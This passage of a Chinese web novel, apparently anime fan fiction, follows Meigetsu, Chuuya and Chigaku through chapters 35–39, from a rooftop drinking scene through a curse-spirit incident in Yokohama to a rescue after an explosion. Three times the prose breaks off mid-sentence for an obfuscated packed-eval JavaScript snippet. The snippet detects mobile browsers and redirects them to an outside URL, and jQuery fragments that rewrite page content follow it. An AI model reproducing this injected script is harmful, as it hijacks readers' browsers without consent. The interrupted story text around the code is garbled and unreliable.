月光沿着青年眉骨流淌下来,面庞覆上薄纱,朦胧华美,恍若北欧神话中掌控光明与春天的神明,“我有能够自我治愈的能力。” 中原中也却皱起眉,“你的异能力不是空间吗?” “嗯……或许我比较特殊?” 西园寺鸣月从腰后抽出一把匕首,将掌心割开,鲜血登时从伤口喷涌而出,将衬衫的色泽浸得更为深邃。 中原中也刚睁大眼,冬雪般纯白的掌心便已经完全愈合了。 “算是天赋异禀吧,我是多异能力者。” 他说着,还残留着血液的掌心一翻,变戏法般变出了一瓶酒,又变出一袋面包,递到中原中也面前。 中原中也愣了一下,接过面包,“谢谢。” 说完这句话后,他们便默契的安静了下来。 西园寺鸣月将一整瓶酒喝完,仰面看向天,今天的夜色并不美丽,雾蒙蒙的,一切都看不真切。 他盯着夜空发了一会儿神,突然问:“如果有一个和你差不多的人出现,并自称是你,你会怎么做?” “哈?”中原中也诧异地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667986|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着金发青年,看到他认真的神情时沉默片刻,“揍他一顿,问出他到底是谁。” “你是这样想的啊。” 西园寺鸣月又起开一瓶酒,慢吞吞的倒进玻璃杯,“不选择杀掉他吗?” “如果真的差不多……我不会杀死他。” 具体的原因中原中也没有言说。 他点头,“我知道了。” 没再说话。 又过了一段安静的时间,旁边冷不丁响起中原中也有些别扭的问询。 “你叫什么名字?” 西园寺鸣月反应了一下,才反应过来是在问自己名字,“西园寺鸣月。” “西园寺……” 中原中也总感觉这个姓氏有些熟悉,一时间想不起来,“我叫中原中也。” 青年喝酒的动作顿住,他扭头,“羊之王?” “我只是恰好比他们厉害一些,能打一些。”中原中也捏着面包,看起来不怎么喜欢这个称呼。 西园寺鸣月问:“有多大的能力就应该承担多大的责任,你是这样想的吗?” 他好像真的醉了,宝石一样的眼睛蒙上层浅薄的雾,一切情感被关在其中,若隐若现,半虚半实。 没听到中原中也回答的金发青年笑了笑,仰头将最后一口酒倒进嘴里,又问了一个问题。 “如果有一个人来到这里,那个人没有记忆,没有过去,但拥有和你相同的异能力,你会接纳那个人吗?” “会。” “为什么?” 中原中也没回答。 西园寺鸣月吹着风,脑袋稍微清醒了一点,“这个问题确实不好回答。” “谢谢你陪我喝酒。” 他说。 “下次见。” “再……” 凉风吹过房顶,带走了所有酒气。 中原中也看着身侧空荡荡的房顶,还是轻声把再见说了出来。 他回到自己房间,忽然闻到了香甜的气息。 一块蛋糕被人静静放在床头柜上。 …… 知道这不是自己儿子也不是自己克隆体后,神隐和世界决定先稳住偷渡客,防止这位不知道从哪条世界线过来的大佬,一个不如意就把这个脆弱的小世界摧毁了。 在外面随机挑了个人胡乱忽悠一通后,西园寺鸣月的坏情绪全部清空,他好心情地哼着歌,反手提着黑大衣,回到屋子里发现那位偷渡客还在等着自己。 “你不睡觉吗?” 西园寺鸣月如今的态度十分宽和,他说完,主动扫视一番室内,发现除了吊床,确实没有睡觉了地方。 “好吧,我忘记了。”他说,“你今晚将就一晚睡吊床上吧,我明天再给你弄一张床。” 仍旧坐在矮凳上的偷渡客闻言,将头歪斜了十个度,“我们可以一起睡。” 西园寺鸣月:“那是个单人床。” “我很轻。” “你在说什么,那是一个单人床。” “我可以睡你身上。” “?” 西园寺鸣月的表情恍惚一下,随即迅速严肃起来,“不行。” “我们都是男的,这没什么。” 偷渡客拍拍吊床另一边,做出邀请的姿势,“你不想听我复生的故事吗?” 这是完全把自己当作西园寺鸣月的“挚友”了啊。 西园寺鸣月说:“如果你真的是他,那么复生,一定是个很痛苦的过程。” 金发青年弯下腰,将大衣盖在男孩肩上,“不管你是谁,你都不需要用自己的痛苦挽留住我。” 浓郁的酒气袭向鼻腔,在即将冲向大脑时被凛冬的气息掩盖,只余下一点醉人的香。 不知是否是灯光太过明亮的原因,那双眼瞳里的猩红变浅了一些。 他说:“我就是我。” 西园寺鸣月嗯了一声。 “很晚了,小隐,先睡觉吧。” 36.第 36 章 中原中也思考了一晚上,也没想明白西园寺鸣月为什么会问那些问题。 辗转反侧,彻夜难眠。 直到清晨第一缕阳光落到床上时,中原中也还是没有睡着,他睁着眼睛,无言地望着墙壁。 机械地起床,洗漱,打架,觅食,打架,打架,看风景,打架,打架,觅食,中原中也仍在思考昨晚上的一系列提问。 潜意识告诉他那个人不是会胡乱说话的性格。 ——如果有一个人来到这里,那个人没有记忆,没有过去,但拥有和你相同的异能力,你会接纳那个人吗? ——如果有一个和你差不多的人出现,并自称是你,你会怎么做? 异能力相同的人,差不多的人。 自称是他的人。 中原中也坐在礁石上盯着海面发呆。 怀疑着自己到底是谁的他偶尔也会想,他的名字是刻在灵魂里的东西,即使失去记忆也没有忘记。 既然如此,这个世界会不会还存在和他一样的——中原中也? 要是真的存在…… 自己到底是不是真的人类? 还是说,他只是占据着一个人类躯壳的怪物? 寒凉的风拂过面门,中原中也猛然回过神,发现自己已经站在了一棵高大的树上。 茂盛的树叶完美挡住了中原中也的身体,而从他的视角往外看去,正好可以看到一个庭院。 布置简洁的院子里建着一个吊椅,有个人坐在那里。 今天的男孩穿了一身和他哥哥相同的衣服,棕色披风衬得他面色更加苍白了,似乎不管吃多少药都填补不了从前生病落下的缺陷。 黑发柔顺地被压在与披风同色的帽子下,男孩低着头,安静地翻阅着腿上书籍。 上面的文字不是日文,中原中也看不懂,他的知识就如空中蝴蝶一样浅薄,经不起风吹也抗不过雷鸣。 中原中也之前也常来这里,但很多时候都遇不见人,仅有的一次还差点被人发现。 后面不知道他们去了哪里,每次都没有看到人,以为是搬走了或者……半个月前,中原中也就没有再来过这里了。 但中原中也没想过自己会在今天过来。 也没想过会再看到他。 中原中也从树影中抬头,打算再看一眼就离开,『羊』还有一些成员太小,他得去帮忙找一些食物。 他刚望过去,就对上一双漆黑冰冷的眼睛。 始终不知道名字的男孩准确无误地看向他所躲藏的树干,冷漠的话语顺着风贴近中原中也的耳朵里。 “你要看多久。” “……” 中原中也坐立不安地站到藤原千学面前,“……好久不见。” 藤原千学站起来,躺在他腿上的三花猫落在地上,发出不赞同的叫声。 “我耳朵已经好了。”他对着中原中也说。 听到这话,中原中也原本的尴尬情绪一扫而空,取而代之的是如释重负的喜悦。 “真的吗?!” “真的。” 藤原千学跺脚,甩掉不停扒拉着自己裤腿的猫,“你不用愧疚了。” 说完,他拒绝了中原中也的补偿,指着外面那棵树撒下逐客令。 “不要再来偷看我了。” “我……” “我不需要,我不喜欢,我没有想要的东西。” 被看穿未尽之语并被拒绝三连的中原中也:“……” 城里的同龄人都那么聪明吗? 他突然想到什么,赶在藤原千学再次开口前问了出来,“如果有一个人,那个人没有记忆,没有过去,但和你一模一样,你会接纳那个人吗?” 藤原千学竟真的敛眉思考了片刻,最后说:“以目前的科技而言,克隆人活不过半个月。” 中原中也奇妙地感受到了被硬面包噎住喉咙的难受,“……不是克隆人,是一个真正的,和你相同的人。” “我会杀了他。” “为什么?” “哪有为什么。”藤原千学推推眼镜,黝黑的眼瞳怪异地看他一眼,“一模一样的两个人,要么其中一个是怪物,要么两个都是怪物。” “你要明白一个道理。” 藤原千学说:“一山不容二虎。” 他说完,就看到中原中也迷惑中带着一点难堪的表情,沉默片刻,还是好心的解释了一下。 “我知道了。” 中原中也点头,“谢谢你。” “你现在可以走……” 看着被塞到嘴里的面包,藤原千学:“?” “这个很好吃,送给你。” 中原中也飞走了,他的背影看起来格外放松。 藤原千学:“……” 虽然这个面包是西园寺鸣月昨晚送的,日期还算新鲜,但是……藤原千学快步冲进厕所,扶着马桶吐得昏天黑地。 他不吃蓝莓啊! …… ……… 在回去的路上,中原中也运气很好的遇到了正带着复生后,失去大半记忆的“挚友”从石头屋离开的西园寺鸣月。 “西园寺鸣月。” 他紧急叫住了人,站到西园寺鸣月面前的石头上,“你昨天晚上那几个问题,是什么意思?” 昨天晚上? 偷渡客也抬头看向金发青年,安静等待他的答案。 “……昨晚?” 西园寺鸣月表情困惑,随即想起什么,拍拍头,“应该是喝酒之后,我和你说了些什么吧?” 他不好意思地朝表情皲裂开来的中原中也笑了笑。 “我记不住自己酒后做了什么,抱歉啊,哈哈哈,说的话中也不用太放在心上,虽然不知道说的是什么……但多半是在胡言乱语吧哈哈哈。” 因为几句“胡言乱语”一夜没睡,心绪不宁了十几个小时的中原中也:“………” 他有点不相信,“但是你昨晚送了我蛋糕,这种事也是醉酒后会做的吗?” “有人醉了睡觉,有人醉了跳舞,说不定我昨天晚上想成为圣诞老人呢?” 金发青年笑着抬起手,下意识摸摸身前孩子的头。 触及到柔软卷曲的褚色短发时,两个当事人都怔住了。 “冒犯了。”西园寺鸣月默默将手收回,揣进大衣口袋里,“长时间和小孩子相处,已经……咳,形成习惯了,不好意思。” 同为一个群体的守护者,西园寺鸣月将中原中也放到了同等位置上对待,因此,面对这样不应该出现的冒失时,他显得格外羞愧。 见中原中也愣在原地,西园寺鸣月又道了声歉。 “之前送你的面包应该没有了吧,我之前备多了几份,就当是歉礼了。” 头顶温柔的触感还残留着些许温度,像是在等待着他去回温,中原中也发了好一会呆才回过神,正好听清后面一句话,连连摆手。 “不用了,你之前送的我都还没吃完……” “就算送过去,也会被其他人瓜分掉。” 婉拒的话语被另一道沙哑声线打断,站在金发青年右侧,紧紧扯住大衣袖口的同龄人望着他,红眸泛着冷意。 “其实之前鸣月送给你的面包,你最多也只吃了一份吧。” 对上这双眼睛,中原中也莫名不爽,“你这家伙……” “分享是美德啊。” 西园寺鸣月侧了侧身,不经意挡住两人对视的目光,笑着说道:“正好,我和小隐准备回去了,中也要一起吗?” 在中原中也的视野盲区,青年将指节曲起,轻轻敲了敲偷渡客的脑门。 “顺带给『羊』带点食物回去。” …… 出乎所料的,这位偷渡客竟真听懂了西园寺鸣月的暗示,一路上都没再说过话。< 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“中也,你看你喜欢哪些。”西园寺鸣月财大气粗地挥挥手,“或者都喜欢?这些都可以带走。” 全、全部?! 中原中也反应了一下,接着愣愣地看着那些东西下意识说道,“这是可以的吗……” 不对,不应该这样说才对——这样说实在太不礼貌了。 “我这里的物资是源源不断的,不用担心我会有亏损。” 西园寺鸣月朝他晃了晃手里的宝石,肆意展示着自己的财力,“而且,这也算是在讨好你吧。” 中原中也扭头,“……讨好?” “之后要是我有事离开,我的孩子们就需要拜托中也帮忙照看了,这些,就当是提前支付你保护他们的报酬了。” “……” 说了那么多,中原中也还是只拿了一小部分。 “我什么忙都没有帮上,就已经占了那么多便宜。”他说,“你不是说歉礼吗?这些就够了。” 他们平日里也能得到食物,只是很少遇到好吃的,中原中也拿的全是一样的,这样每个人都能尝到。 “好吧。” 西园寺鸣月遗憾地耸耸肩,“那一起吃个晚饭吧。” 晚饭是三袋面包。 原本说的是去外面的餐厅,西园寺鸣月看起来很想让中原中也多吃一点,但中原中也拒绝了。 只是见过三次而已。 他们的关系还没有深到可以毫无负担接受一切的程度,中原中也想。 “他们不会满意的。” 坐在一边的黑卷发男孩开口,他单手撑着下巴,另一只手捏着颗芝士球,缠着绷带的脸上只露出双色彩深红的眼睛。 突兀地说完那句话后,男孩停了一秒,像是在观察西园寺鸣月会不会阻止,发现青年没有开口的欲图后又继续说:“他们会让你再来多拿点。” “所以不如全拿回去,告诉他们你抢劫了鸣月,这样的话,你说不定还能得到几句吝啬的夸赞。” “……” 中原中也假装没听见,与西园寺鸣月道完别就离开了。 离开前回头瞪了偷渡客一眼。 “你明明可以说出好听一点的话。”西园寺鸣月叹气。 偷渡客看着他问:“你想我说吗?” “不,我只是在感叹,你想说什么都可以。” 西园寺鸣月说,他盯着偷渡客的眼睛,脸上的笑忽然灿烂起来,“不过,我倒是有些相信你的话了。” “毕竟除了他,没人敢用这样大胆的眼神注视我。” 偷渡客眨了眨眼。 芝士咸腻的味道在口腔弥漫开,滑落咽喉时身体下意识就想呕吐出来,他却只是跟着笑,一点异样都看不出来。 37.第 37 章 横滨最近忽然有个闹鬼的传闻。 听说有人在下班回去的路上,意外看见了一只弓着背不听念叨着“不想学习”的长满眼睛的鬼怪,在疯狂啃咬着一个人的身体。 还有两名结伴的教师,在学校看见一只有着十来条人腿的“无皮猫”,它杀死了其中一名教师,另一名也只剩下了半身躯体,勉强活到救援到来。 还有有着人形躯干、复眼巨大的苍蝇,到处乱飞的人头鸟……诸如此类,很多。 但偏偏能够看见的人不多。 多次实验之后,异能特务课发现唯一看见的办法——是濒死。 “当真是与鬼怪无异了。” 绫辻行人拿起烟斗,站在隔离窗前,注视着唯一看见“鬼”后存活下来的人。 说是存活,或许也算不上,这个人只剩下了上半身,连最简单的眼球移动都做不到,无法提供有效线索,于是也称不上什么目击证人。 “上千年时间都没有过鬼怪出现、并虐杀人类的事件,怎么独独在这个时候出现呢?” 自那次京都之行之后,就渐渐开始抽烟的金发少年吐出烟雾,“不管那些东西是什么,” 他说:“有人在刻意推动这件事情。” ——【^_^希望您喜欢这个礼物。】 ——【克拉斯诺亚尔斯克市,卡尔·马克思大街,50号楼,2栋,15号公寓。】 将世界定位到的位置一键发送,藤原千学跟在福泽谕吉身后,迈进了这个密不透风的治疗室。 江户川乱步带着间贯一去了青森出差,尾崎红叶在照顾与谢野晶子——自从那次藤原千学情商大爆发,让尾崎红叶告知与谢野晶子看不懂可以直接换书之后,她说什么也不愿意和藤原千学一起了。 所以,如果异能特务课没有点名要藤原千学,去的也只会是他们两个。 “你再去那个学校查一查,每个教职工都问一遍。” 因为不清楚唯一直面过“鬼”的活人什么时候会醒,绫辻行人索性直接住在了这里,此刻,他正熟练地指使着某位从横滨警视厅调到异能特务课来的警官去查证。 留着中长发的警官咬着笔盖,认真记着绫辻行人要他问的线索,余光注意到有人过来,抬头看了看,露出笑,“福泽先生。” 萩原研二视线下移,微笑着朝藤原千学点头,“藤原侦探。” 身旁响起一声轻嗤,绫辻行人将烟枪从嘴边挪开,话语间烟雾弥散,“什么人都能被你称为侦探。” 藤原千学嫌弃地捂住鼻子,“我记得绫辻行人并没有成年,你们不管?” “啊……”萩原研二汗流浃背,“这,这我也没权限啊。” 他现在只是个弱小可怜的生活助理。 “行了,去调查吧。”金发少年摆摆手,“让那个卷毛过来。” 藤原千学看了眼隔离房内的人,迅速移开,走到绫辻行人整理的线索前。 异能特务课确实费了大力气在调查,这里的东西很详细,时间线,被害人和其的家庭关系,人物生平也梳理清楚了。 藤原千学拿起第一个受害者的资料。 绫辻行人见他往自己案桌走过去,眉梢一挑,“你也觉得要往这个方向查?” “不,这些东西都没用。”藤原千学放下资料,指了指上面的一行字,“我在思考,他为什么是他祖母的……亲弟弟?” 绫辻行人:“……” 好问题,他也思考过。 “他的祖母现年七十三,他今年十六,所以说十六年前……” 绫辻行人挑眉:“老当益壮?” “恶心的总结。” 被烟味恶心到的藤原千学干呕了一声,“走开呕——烟虫。” “没有侦探不喜欢烟,这是思考最佳的助手。” “呕……带着你的助手呕……还有你的思考离开呕……离开这里咳咳咳……” 最后还是福泽谕吉将两人隔开,绫辻行人盯着藤原千学不似作假的苍白脸色,若有所思地抽了口烟。 无营养的争吵暂且停息,他抽完这趟烟,在临时住所换了身衣服,重新凑到藤原千学面前。 “你刚才说这些都没用,什么意思?” 让松田阵平翻着监控的藤原千学侧眸,正大光明牵着福泽谕吉往旁边平移一步,“那些只能够查明死了多少人,死人有多少秘密,又有几个犯了什么罪。” “对这件事不会有任何进展,倒是可以给他们追加点罪行,让他们去地狱多服几百年刑。” “千学,尊重死者。” 藤原千学偷偷撇了撇嘴,嘀咕了一句这需要尊重什么,竟真的没再提这个,主动将话题掰回来,“它不会被摄像头捕捉到,案发现场也不会被看到痕迹。” “怎么才能看到它?” “普通人有三个方法,一是濒死,二是被‘鬼’主动攻击,三是爆发出强烈的负面情绪。” 负责记录的警官笔尖舞动,疯狂记录着。 被勒令不喊停,就必须一秒同时切换九个画面的松田阵平郁闷了,“那我这工作做的是什么?” 找寻下一个受害者吗。 “找人。” 对比京都那次,明显好说话很多的藤原千学又站远一点,“别离我那么近,不是要找凶手吗,可以在监控里找。” 前一句话是对越凑越近的绫辻行人说的。 “所以这次事件还真是人为……”负责记录的警官呢喃。 “就算是最不适合思考的大脑,也得知道一个道理。”绫辻行人跟着藤原千学看着监控,“不要随便质疑一个比你更聪明之人的推论。” “停。” 藤原千学叫停,“右中放大。” 监控画面是一座商场,所有人聚精会神地盯着上面的每一个人。 一身西装提着公文包左顾右盼的中年人似乎有些敏感他人注视,那个大夏天打扮像圣诞树但袒胸露背的家伙一看精神就不正常,鸭舌帽兜帽外加黑外套的神秘口罩人看起来也很可疑。 等等,短裙加毛裤是什么搭配……嗯?内裤外穿……哇!电灯泡当挂脖……好多奇人异士。 就在他们各自有了怀疑目标的时候,藤原侦探开口了。 “调二楼监控。” “……那么多人都不是吗?” 装扮完全与另一位名侦探相同的男孩闻言,无机质的黑瞳看向发出提问的人。 “……” 人安静地默默退到角落。 “三楼。” “……” “观光电梯。” “……” 看着监控里的人随着切换越来越少,越来越少,最后空无一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678685|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,福泽谕吉没忍住问了一句,“不是找人吗?” 勇士啊。 被藤原千学刚才的一记眼神震到,屏息凝神不敢出声的几个人在内心感叹。 眼见着监控里的人换了好几批,他们早就想问这个问题了,但碍于刚才那一眼注视,一直没敢开口问。 “人就在上面,你们看不见。” 回答问题的是绫辻行人。 藤原千学不由扭头,迅速打量了身旁之人一遍。 “怎么,我说出这个答案,你很惊讶?”金发少年唇角噙起笑,像只高高扬起喙的林鸲。 藤原千学是绫辻行人指名让异能特务课邀请过来的。 纵火案一事,直觉告诉绫辻行人事情并没有那么简单,他思考了很久,也没想出除了那个帽子侦探外存在更好的解法。 但绫辻行人想明白了其他事情。 当时的那场火,是奔着藤原千学去的。 而那位与绑架西村侦探试图灭口的高官儿子、眉眼细看有些相似的帽子侦探,死之前,或许是想用匕首杀死藤原千学。 他当时或许不是在看自己。 是在看自己身后的某个人,但绫辻行人确信,当时的自己身后绝无他人。 如此就诞生了两个可能。 一个可能,藤原千学被火烧出幻觉了。 这绝无可能。 第二个可能,就如藤原千学当初所说那样,世界外还有一个与他们重叠的世界。 那个世界都有些什么? 他的疑惑在这一次事件中逐渐有了答案。 一种“鬼怪”,或者说,属于那个世界的特产。 有人将这种特产带了过来,带来了横滨。 绫辻行人猜测藤原千学能够真正“看到”。 而现在他的猜测被证实了。 ”真聪明。” 得到藤原千学宛如长辈一样夸赞的绫辻行人不笑了。 “……又是一个看不见的凶手?” 松田阵平问。 “偷渡过去的。”藤原千学让离门最近的人拿了纸笔来,“老鼠遇到火会自己从洞口钻出来。” 他让世界取代了自己的手,将监控里的人像画出来,交给绫辻行人。 “把他的死讯散发出去,让家人来认领尸体。” 藤原千学又陆续说了几个地方,“重点让人监控这里,他会在这几个地方出现。” “要是不出现……”松田阵平好像理解到了什么,表情逐渐变得一言难尽。 藤原千学颔首,“他是个注重家庭的人,到时候可以威胁他的家人。” “威胁?” “把人吊……” 监护人的注视如芒在背,他低声咕哝几句没人听懂的话,丝滑地改变了策略,“控制住人,把他们的寻人启事贴到这几个地方就可以了。” “他不出现就无法传递信息。”绫辻行人思考,“但或许还有同伙,需要封锁通讯和出入吗?” “不用,他被放弃了。” “礼物”一被送出来,那就是概不退还的东西。 看着对罪状供认不讳,下一秒就因心悸死亡的弃子,藤原千学为此产生了一点疑惑。 既然目的是创造一个没有异能者的世界。 他为什么还要把咒灵引到这里来呢? 38.第 38 章 解决了把“鬼怪”带过来的凶手。 但最严重问题还没有解决——“鬼怪”要怎么才能够清除? 短短一天时间,就在异能特务科颇具威名的藤原侦探表示——等。 看不见的人可以引来“鬼”,自然也会存在看不见的人来抓“鬼”。 “只要假装看不见就可以了,那种东西很少有主动攻击人的。” 总算把所有相关人员都问了个遍,信心满满带着厚厚笔记与录音笔回到特务科时,就冷不丁听到这句话的萩原研二:“诶?” 他错过了什么? 发小推推墨镜,怜悯地拍拍他的肩膀,“版本更新了,你做的这些攻略全废了。” 萩原研二:笑容jpg. 但也不是全部没用。 伟大的藤原侦探扫眼一看,从里挑出了几个说谎的笔录。 “去查吧,会有惊喜的。” 前去调查的人前脚刚迈出门,后脚便听到了一声惊天动地的爆炸声。 建筑倒塌的声音震耳欲馈,但环顾城市时又发现根本没有建筑损坏。 提前戴好耳塞的藤原千学从福泽谕吉身后冒出一颗头,“在抓‘鬼’,不用管。” …… “五条前辈——你又忘记放帐了!” 灰原雄一手挥着巨剑,一手比作喇叭状放在嘴边大喊。 不说距离那么远能不能听到一事……七海建人拦腰砍断一只三级咒灵,抬手擦掉脸上的汗。 “现在放也来不及了。”他说。 “七海,二级以上的是夏油前辈的咒灵,不要杀错了。” 听到伏黑隐的提醒,七海建人脚下一个趔趄,“就算想,我也打不过吧。” 他只是一个三级咒术师! 柔弱的医疗人员躲在虹龙下眨眨眼,“万一呢?” “没有这种万一!” “怎么全是三级咒灵……” 听到横滨有大量咒灵,还以为可以进点货的夏油杰有点失望。 咒灵确实很多,但全是三四级的低级咒灵。 “之前也没出现过这种情况吧。” “都一样啦,不管是单个还是扎堆,三级不都一样的弱吗。” 五条悟比出『苍』的手势,这次是和京都校一同出的任务,他没兴趣和一群小古董交涉。 且京都这一届的一年级……他做出个牙酸的表情。 “速战速决吧。” …… “轰——!!” 在那声神秘的巨响一个小时后,藤原千学的脚下突然地震了。 视野所及的十来栋楼如积木般坍塌下来,一大片由灰尘组成的沙雾在半空中翻涌、蔓延。 人群寂静一瞬,随即彻底沸腾开来。 松田阵平呆楞地摘下墨镜,“……什么情况?” “杀“鬼”的代价。” 越来越密集的人群让藤原千学感到极度不适,他抓紧福泽谕吉的手,整个人缩在银发武士的影子下,“快结束了。” 绫辻行人轻叩烟斗,看着被提前从楼中撤离出来的人群,用询问的语气说道: “如果能够现在确定,没有居民在这场坍塌中死亡,那就是已经结束了?” 藤原千学点头,他盯着鞋尖,“嗯。” 或许是人太多了。 即使是在空旷的地面,也让他连呼吸都格外艰涩,说话都带着轻微的颤音。 “快一点去查吧,有没有人死。” …… 灰原雄不安地搓着手指,声音比平时低了几分,“我们这个时候吃东西……真的好吗?” 饶是乐观如他,此刻也不由得有些心虚。 “任务完成了就应该尽情享受才对嘛!”五条悟满不在乎地晃着长腿,墨镜滑到鼻尖。 七海建人叹了口气,试图唤醒部分人的良心,“京都校……” “不用管那些小橘子啦。”前辈拉长语调,指尖敲着桌面,“他们不会出事的。” 甜品店的灯光暖融融地照在东京校的五人身上。 五条悟和伏黑隐并排坐在高脚凳上,专注地望着店员手中旋转的甜筒。 “夏油前辈的咒灵一直在暗中关注着他们呢,所以不用担心会出事。”矮上前辈半个头的伏黑隐先前辈一步拿到了甜筒,“再说了,不是还有我在吗?” 少年转身时敞开的制服外套扬起一个小小的弧度,他舔了口甜筒,灿金色眼睛满足地眯起。 “有我在,完全不用害怕受伤。” 话音刚落,远处就忽地传来爆炸声,橘红色火光在众人视野中一闪而过。 登时被所有人注视的五条悟:“不是老子!老子弄不出那么小的动静!” 确实不是五条悟。 是费奥多尔。 被炸掉的地方是一栋不起眼建筑,而在另一边,藤原千学正站在那片土地上——他至今也无法理解,这个俄罗斯人杀藤原千学是为了什么。 这是突然发生的事情,之前是通过五条悟和咒灵动向,还有伏黑隐有意拖延,才能够提前那么久将居民转移。 世界融合,伤害同步是必不可少的事情,但如今还存在损坏延时,也是方便让神隐依靠提前“预知”,避免更大的人员伤亡。 面积越大的建筑损坏,同步所需要的时间越长。 刚才的爆炸涉及范围并不大,只堪堪将那栋房子周围炸塌。 所以这次同步所需要的时间是十分钟。 如何在十分钟内保全所有人? 正欣慰地看着孩子们建房子的西园寺鸣月收到了一条消息。 金发青年脸上笑容僵滞,接着不动声色收起手机。 旁边的偷渡客发现了什么,或者说,像是知道他要去做什么,突然拉住青年袖口,“我陪你去。” 想着正好让藤原千学看看这家伙,西园寺鸣月没拒绝,他抱起偷渡客,朝发现动静、向自己看来的野比二郎扬声道:“我出去一趟。” 时间很急,也来不及多说些什么。 金发青年带着人化作道寒风,飞快朝信息里的定位极奔而去。 “砰——!!” 偌大的空地被突如其来的爆炸震得塌陷,藤原千学迅速被福泽谕吉抱起来,躲到了安全地带。 说是安全地带也不尽然。 这里同样在不停震动着。 即使先前让松田阵平带走了部分人,这里的人也还是很多,没来得及反应的人像是暴雨中的泥水,迅速堆满了地面的坑洞。 本就嘈杂的地方刚刚响起一声哭嚎,便倏然被比疼痛更刺人的寒温冻住了口舌。 终于——安静了。 紧紧抱住监护人脖子的藤原千学放松下来。 碧蓝苍穹蒙上一层耀眼的金光,洒下细碎光点,带来些许冰冷的日晒感。 突兀出现都金发青年双手握住剑柄,熠熠生辉的宝剑没入因爆炸裂开的缝隙,他半垂着眼睛,一动不动站在原地,就连风衣也纹丝不动垂在腿侧。 如同一尊雕像的北欧神明仅有冰蓝色瞳孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683994|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的雪花在微微转动,像是初始机械运转的齿轮。 不知道是谁大喊了一声“救人啊!愣着等死吗?!”,被骤降的温度冻在原地的人才后知后觉地行动起来。 营救的场面维持着最初的安静,所有人都有意避开了一动不动的金发青年。 等到最后一个人被从坑洞中营救出来,没入地缝的宝剑抽出,光点犹如实质渗进裂缝里,以肉眼可见的速度将地面修补完整。 金发青年收起剑,光点也随之消失。 冰眸环顾一周,在对上另一双黑漆漆的眼睛时,脸上冷意消融几分 『不朽誓约』最推荐的半径展开范围是50米,这是能够让西园寺鸣月自由行动,且能够短暂远离领域范围的极限距离。 再扩大一些,他就需要作为圆心一动不动。 这种时候,需要守护的就变成西园寺鸣月自己了,无法防守的他此时是最容易被杀死的。 还顾及着人设,西园寺鸣月表情不变地走到藤原千学面前。 在福泽谕吉戒备的目光中,青年忽地笑了笑,冷漠的石像脱离外壳,显露出春日晴阳的温和暖意。 “千学,我现在又帮了你一次。” 他蹲下来,伸出食指,“所以,下次你就不能再拒绝我了。” 所谓免费的就是最贵的,在场那么多异能特务科的人,等结束回去定然会将西园寺鸣月的背景翻个底朝天。 虽说不一定会查到黑手党干部的身份,但一个强大的异能者适时地出现,又适时地解决了危险让伤亡率降为0,要说是一个巧合可没有人会相信。 如果是藤原千学提前感应到了危险,向正好可以完美解决这次事件的西园寺鸣月发送求助信息,那就不一样了。 不管他到底是黑手党,杀人犯,通缉犯还是擂钵街的某异能者,现在的西园寺鸣月只有一个身份——藤原侦探求助的不知名熟人。 至于福泽社长会不会看出来他就是当初带人出去鬼混(?)的黑手党,等藤原千学回去再承诺不再和他联络就行了。 藤原千学刚要点头,福泽谕吉就走上前,牢牢将他挡在身后,“阁下若有什么需求,可以向武装侦探社发布委托,届时侦探社会无偿帮你解决一次问题。” 被人态度强硬地打断交流,金发青年也没生气,他好脾气地笑了笑,看不出一点面对其余人的冷淡。 “这样的话好像也不错。” “但侦探社不接销毁证据,杀人买凶,栽赃陷害,伪造证物等全部违背道德与正义的委托。” 西园寺鸣月/藤原千学:? 什么东西? 金发青年站起身,犹豫地指了指自己。 “您……是不是……对我有一点点的误解?” “我不觉得,我会误会一个让十岁的孩子协助杀人,并任由他在一具尸体上搜刮财物的黑手党。” 福泽谕吉刻意咬重了‘孩子’与‘杀人’这两个词汇。 被死死护在身后的藤原千学张了张嘴,最后,递给看起来马上就要碎掉的西园寺鸣月一个自求多福的眼神。 于是西园寺鸣月更伤心了。 “但千学并不抗拒这些啊……” “他现在抗拒了。” 西园寺鸣月:“。” 可恶。 快来个人,给他找个台阶下吧。 明明按照自己的剧本来说,等藤原千学点头后,只是客串的西园寺鸣月就可以溜回去建房子了。 他还没和二郎说彩窗要安装在哪里啊。 39.第 39 章 他们的位置离其他人有些距离,周围的人时不时会投来好奇的目光,但都不约而同地没有接近一点,听听墙角。 虽然十分好奇这位不知名的金发青年找藤原侦探做什么。 但那边看起来真的好冷。 背对着他们的金发青年身上都开始飘雪花了。 余光看着金发青年求助的眼神,最终,藤原千学还是扯了扯福泽谕吉的袖口。 